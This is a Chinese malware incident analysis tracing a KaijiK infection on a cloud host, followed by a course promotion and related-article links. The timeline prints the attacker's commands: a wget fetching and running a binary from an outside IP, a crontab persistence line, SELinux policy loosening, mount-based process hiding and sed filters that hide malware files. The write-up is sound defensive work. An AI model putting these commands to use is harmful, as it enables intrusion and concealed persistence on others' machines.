猫鼠游戏: KaijiK病毒入侵溯源分析

embedded/2024/10/18 21:36:08/

1. 事件背景

近期,网宿平台某客户在使用云主机工作的时候突然出现主机卡顿,连接不稳定,网络断开的情况,并且收到了网宿主机入侵检测产品的告警信息。由于客户没有专职的安全人员,由运维人员兼任安全运营工作,于是网宿安全专家协助对事件进行排查、溯源、处理。

2. 入侵过程溯源分析

获得用户授权后,网宿安全专家登录控制台查看,发现一些病毒进程、隐藏进程告警,以及一些异常登录信息:

1726039299_66e1450354d84e8165e87.png!small

1726039308_66e1450c4db4e3720bdda.png!small

查看主机的资源监控,发现极高的CPU占用以及很高的上行带宽。从异常特征来看很可能是感染病毒后被当作肉鸡,对外发起DDOS攻击。

1726039316_66e145149b798936a724c.png!small

1726039325_66e1451dcdaf36cf22768.png!small

网宿安全专家使用网宿主机入侵检测的溯源功能对入侵过程进行溯源分析,通过进程树视图可以看到amd64启动了amd64子进程,并且执行mount命令进行隐藏。通过切换到会话视图,可以看到相同会话下执行了wget下载了病毒文件,登录IP 87.246.7.38来自于保加利亚索非亚,与异常登录告警一致。

TIPS: 会话模式,linux下每次登录都会记录一个会话ID,相同会话ID可以比较全面的记录一次入侵登录的执行行为。很多病毒和命令执行后不会在原来的父进程下,如果只通过进程树进行跟踪将缺失很多重要信息。

1726039341_66e1452d4db77437fd329.png!small

切换到进程树的文本视图可以比较简洁明了的查看完整的命令执行列表。从文本视图可以快速看到病毒的下载、执行、隐藏、修改定时任务等行为信息。通过以下线索梳理关键的时间线信息。

时间行为
2024-06-28 06:55:55异常登录,登录IP 87.246.7.38来自于保加利亚索非亚
2024-06-28 06:55:56bash -c uname –m获取操作系统架构信息,方便后续下载对应的样本
2024-06-28 06:55:56bash -c cd /tmp;rm -f amd64;wget -t 1 http://198.98.51.37:27222/s/amd64确保 /tmp 目录下无同名文件,使用 wget 命令从远程服务器下载恶意文件 amd64 并存放在 /tmp 目录下。
2024-06-28 06:56:05bash -c /tmp/amd64执行命令,启动病毒样本
2024-06-28 06:56:06/bin/bash -c echo "*/1 * * * * root /.mod " >> /etc/crontab在定时任务中写入配置,每分钟启动/.mod
2024-06-28 06:56:06/bin/bash -c cd /boot;ausearch -c 'system.pub' --raw | audit2allow -M my-Systemmod;semodule -X 300 -i my-Systemmod.pp使用audit2allow和semodule修改系统的SELinux规则,使system.pub的操作不会被限制。
2024-06-28 06:56:07mount -o bind /tmp/ /proc/38915 通过mount命令对进程进行隐藏,这里的38915就是病毒进程的PID
2024-06-28 06:56:07/bin/sh /usr/sbin/service cron start通过服务启动cron,确保定时任务执行

1726039359_66e1453f30a681c6ec5a6.png!small

3. 行为审计-病毒行为追踪

对入侵过程进行溯源分析后,接着可以通过审计功能对病毒的行为进行分析,以便彻底的对病毒、后门、配置篡改等进行清理,恢复主机至安全状态。审计包括登录审计、进程审计、文件审计、流量审计。

3.1 进程隐藏

在之前溯源分析以及审计的过程中检测到此命令mount -o bind /tmp/ /proc/38915,此命令通过mount将进程路径挂载到/tmp使得其他程序无法获得进程的信息,ps和top等均无法查看到进程信息。需要通过umount解除挂载才能看到进程。

解除前,ps看不到进程信息

1726039370_66e1454a2ee19bec58f8c.png!small

但是进程路径是存在的,内容却是/tmp中的内容

1726039378_66e14552aafe7f707191b.png!small

解除后,可以看到进程信息

1726039385_66e14559d88a16a579ba6.png!small

TIPS:通过mount进程PID路径对进程进行隐藏,使得进程的文件路径、启动路径等均无法获取。此时通过PS、TOP等命令均无法查看进程。是最常用的进程隐藏方法,没有依赖,执行简单,不修改preload或者内核,侵入性低,不影响系统稳定性。

3.2 文件隐藏

在对病毒修改文件的审计中发现/etc/profile.d/gateway.sh对一些重要命令进行了劫持来实现病毒相关文件的隐藏。

1726039398_66e14566e55f31512f556.png!small

1726039406_66e1456e5ff63858f79ca.png!small

路径/etc/profile.d在每次用户登录时进行了加载,这个文件中对重要的命令进行了重新定义,这些命令会调用原始的命令,但是输出时会通过sed屏蔽包含一些关键字的信息。被篡改的命令均是常用的查看命令:ps、ss、netstat、dir、ls、find、lsof,使得常规的查看命令很难发现病毒的痕迹。

屏蔽的关键字均是病毒文件或者病毒相关文件

proc_name=$(echo "$proc_name" | sed -e '/\/usr\/bin\/include\//d')proc_name=$(echo "$proc_name" | sed -e '/dns-udp4/d')proc_name=$(echo "$proc_name" | sed -e '/quotaon.service/d')proc_name=$(echo "$proc_name" | sed -e '/system.pub/d')proc_name=$(echo "$proc_name" | sed -e '/gateway.sh/d')proc_name=$(echo "$proc_name" | sed -e '/.mod/d')proc_name=$(echo "$proc_name" | sed -e '/libgdi.so.0.8.2/d')proc_name=$(echo "$proc_name" | sed -e '/system.mark/d')proc_name=$(echo "$proc_name" | sed -e '/netstat.cfg/d')proc_name=$(echo "$proc_name" | sed -e '/bash.cfg/d')

使用系统的ls命令无法看到病毒文件,因为被屏蔽了。而使用busybox执行的ls命令是可以看到病毒文件的。

1726039424_66e14580da0300233cd55.png!small

TIPS:病毒经常通过劫持方式在输出中隐藏病毒文件,常见的有alias劫持、定义function函数、替换文件劫持命令,更深层次的可以通过预加载动态链接库、rootkit等方式劫持系统函数。

3.3 启动项持久化

通过进程审计分析病毒修改或创建的文件发现病毒样本修改了大量的配置文件,主要涉及路径/etc/init.d,/etc/profile.d路径。/etc/init.d路径下的文件在开机启动时被执行,/etc/profile.d下的文件在用户登录时执行。

1726039440_66e145906da35338ff69f.png!small

病毒遍历这两个路径下的所有配置文件,识别里面的if then语句,在语句后插入病毒的启动路径/lib/system.mark.

1726039449_66e14599b869d169d7ade.png!small

TIPS:植入开机启动项与登录启动项是病毒常见的持久化方式,使得用户连接上以后自动执行病毒。

3.4 定时任务持久化

在文件审计中有看到对/etc/crontab文件的修改,并且前面的进程命令中包含篡改此文件的命令 /bin/bash -c echo "*/1 * * * * root /.mod " >> /etc/crontab

1726039465_66e145a9a4d497c47fc28.png!small

查看/etc/crontab与/.mod的内容,病毒通过配置定时任务,每分钟启动一次/.mod,/.mod中启动/usr/lib/libgdi.so.0.8.2,这是一个伪装成so的病毒样本,其hash值与amd64相同。

1726039479_66e145b77f7795d738fbb.png!small

TIPS:在定时任务中添加配置是病毒持久化常用的手段,即使杀死了病毒进程,没有清理定时任务的话,很快又会被拉起,经常使得病毒很难清理干净。

3.5 释放病毒文件

通过病毒木马对系统进行扫描,发现病毒将自身复制到多个路径下,并且伪造成系统文件相似的名字,他们的MD5值均相同,这些文件会在前面分析的各类配置文件中被拉起。

病毒路径列表:

/tmp/adm64/usr/lib/libgdi.so.0.8.2/lib/libgdi.so.0.8.2/boot/system.pub/etc/profile.d/bash.cfg/lib/system.mark/usr/lib/system.mark

1726039550_66e145feef511fee534d5.png!small

TIPS:病毒通常会将自身复制到系统关键的配置路径,启动路径,lib库路径下,并伪装成与系统文件相似的名字,使得人工分析难以察觉。

3.6 文件时间篡改

从病毒木马检测中发现这些病毒的创建时间均为2020-02-27 13:52:07,而文件审计中这些文件均有近期的操作记录,病毒样本对文件时间进行了篡改,试图绕过检测。

1726039564_66e1460c1e7947d029e4e.png!small

1726039572_66e14614068ee86acb72c.png!small

TIPS:一些安全工具会对创建时间比较久远的文件跳过检测,隐藏病毒也经常通过篡改文件时间来视图规避检测。

3.7 外连C&C域名

通过流量审计功能对病毒通信IP进行分析,找到两个IP地址,其中一个是病毒的C&C服务器地址,一个是病毒样本下载地址。此样本通过51.222.38.42下发命令发起DDOS攻击。

IP地理位置作用
51.222.38.42法国C&C控制地址
193.142.146.228荷兰弗莱福兰省样本下载地址

1726039590_66e14626748f72b0b17ea.png!small

1726039604_66e14634e0bb3ad888a99.png!small

TIPS:许多样本在感染时通常表现为静默状态,只有在接受到C&C远控下发命令时才执行具体的行为,比如发起DDOS攻击。

4. 处置措施

  1. 隔离受感染的系统,可以通过一键隔离功能快速进行隔离,防止远控地址下发命令,防止重新下载感染病毒。
  2. 删除病毒文件,包括初始下载的以后后续病毒样本释放的文件。
  3. 通过umount命令解除进程隐藏行为,然后杀死病毒进程。
  4. 修复被篡改的配置文件,删除植入的配置文件。
  5. 修改用户口令,确保口令满足复杂度要求,并且不在常见的弱口令库中。

5. 事件总结

1726039619_66e14643863c4d93b77f0.jpg!small

攻击者通过暴力破解的方式获取了登录权限,然后从远程地址下载病毒样本并执行。病毒通过mount隐藏方法对进行进行了隐藏,通过劫持系统命令屏蔽病毒相关文件名字对文件进行了隐藏,通过开机启动项、定时任务、登录启动项配置中植入病毒路径进行持久化,删除病毒样本后,病毒执行又会重新释放恶意样本,使得病毒很难被清理。最后样本连接C&C服务器,等待接收指令,接收到指令后对外发起攻击,占用大量的CPU和上行带宽。

这个病毒对进程、文件均进行了隐藏,并且使用了多种方式进行持久化,病毒在静默状态下很难被发现,并且很难彻底清理。

6. 病毒样本IOC

病毒MD51c0e411f155da1bec2ca67af95bcb235
C&C地址51.222.38.42193.142.146.228
释放病毒样本/tmp/adm64/usr/lib/libgdi.so.0.8.2/lib/libgdi.so.0.8.2/boot/system.pub/etc/profile.d/bash.cfg/lib/system.mark/usr/lib/system.mark
释放脚本/.mod
篡改配置文件开机启动类定时任务类连接启动类

给大家的福利

零基础入门

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

1️⃣零基础入门

① 学习路线

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

② 路线对应学习视频

同时每个成长路线对应的板块都有配套的视频提供:

 因篇幅有限,仅展示部分资料

2️⃣视频配套资料&国内外网安书籍、文档

① 文档和书籍资料

黑客技术

因篇幅有限,仅展示部分资料

4️⃣网络安全面试题

5️⃣汇总

所有资料 ⚡️ ,朋友们如果有需要全套 《网络安全入门+进阶学习资源包》,扫码获取~


http://www.ppmy.cn/embedded/128563.html

相关文章

WebGoat SQL Injection (intro) 源码分析

首先了解 java 中 mysql 的连接:java连接Mysql WebGoat SQL Injection (intro) 10 根据提示:下面两个输入框只有一个受到 sql 注入攻击。题目要求是检索到所有数据 发现请求路径为 SqlInjection/assignment5b 定位到所在文件如下,根据代码…

【CTF Web】Pikachu getimagesize() Writeup(文件上传+PHP+文件包含漏洞+JPEG图片马+getimagesize绕过)

不安全的文件上传漏洞概述 文件上传功能在web应用系统很常见,比如很多网站注册的时候需要上传头像、上传附件等等。当用户点击上传按钮后,后台会对上传的文件进行判断 比如是否是指定的类型、后缀名、大小等等,然后将其按照设计的格式进行重…

TCAD仿真中解析函数的应用

目录 使用解析函数进行精细化 I-Using Analytic Functions for Refinement I定义 (Definitions)细化 "Region_1" (Refinement "Region_1")解析轮廓 "Profile_1" (AnalyticalProfile "Profile_1") 放置 (Placements)细化 "Region_…

MySQL面试专题-索引

一、MySQL为什么要选择B树来存储索引? MySQL的索引选择B树作为数据结构来进行存储,其本质原因在于可以减少IO次数,提高查询效率,简单来说就是保证在树的高度不变的情况下可以存储更多的数据。 (一)IO角度 在…

计算机网络—静态路由

1.0 网络拓扑结构 星型拓扑结构是一个中心,多个分节点。它结构简单,连接方便,管理和维护都相对容易,而且扩展性强。网络延迟时间较小,传输误差低。中心无故障,一般网络没问题。中心故障,网络就出…

[Python基础](1) 输入与输出的实现

作者制作不易,关注、点赞、收藏一下吧! 1.输入 一般的,输入使用Python内置函数 input(): 变量名 input() 变量存储输入的数据,括号中可以加提示语,也可以不加。 a input("你叫什么?") # 输入 print(a) # 输出&a…

Linux Git

在.gitignore 文件中的后缀 上传到仓库时会忽略。 git仓库本质是.git目录中的内容,push到远端就是将.git内容传到仓库中。 process存储进度条程序 git add .将process存储在仓库临时存储部分 下图指令将process存储到仓库中 上传到远端GitHub中。用令牌登录。 仓库…

TCP/IP传输协议,易懂!!!

文章目录 1.TCP/IP协议族体系1.1 简介1.2 各层细讲1.2.1 应用层1.2.2 传输层1.2.3 网络层1.2.4 网络接口和物理层 2.网络IP和端口的处理函数2.1 端口处理函数2.1.1 端口号2.1.2 字节序2.1.3 处理函数2.1.3.1 主机转为网络2.1.3.2 网络转为主机 2.2 IP处理函数2.2.1 inet_aton函…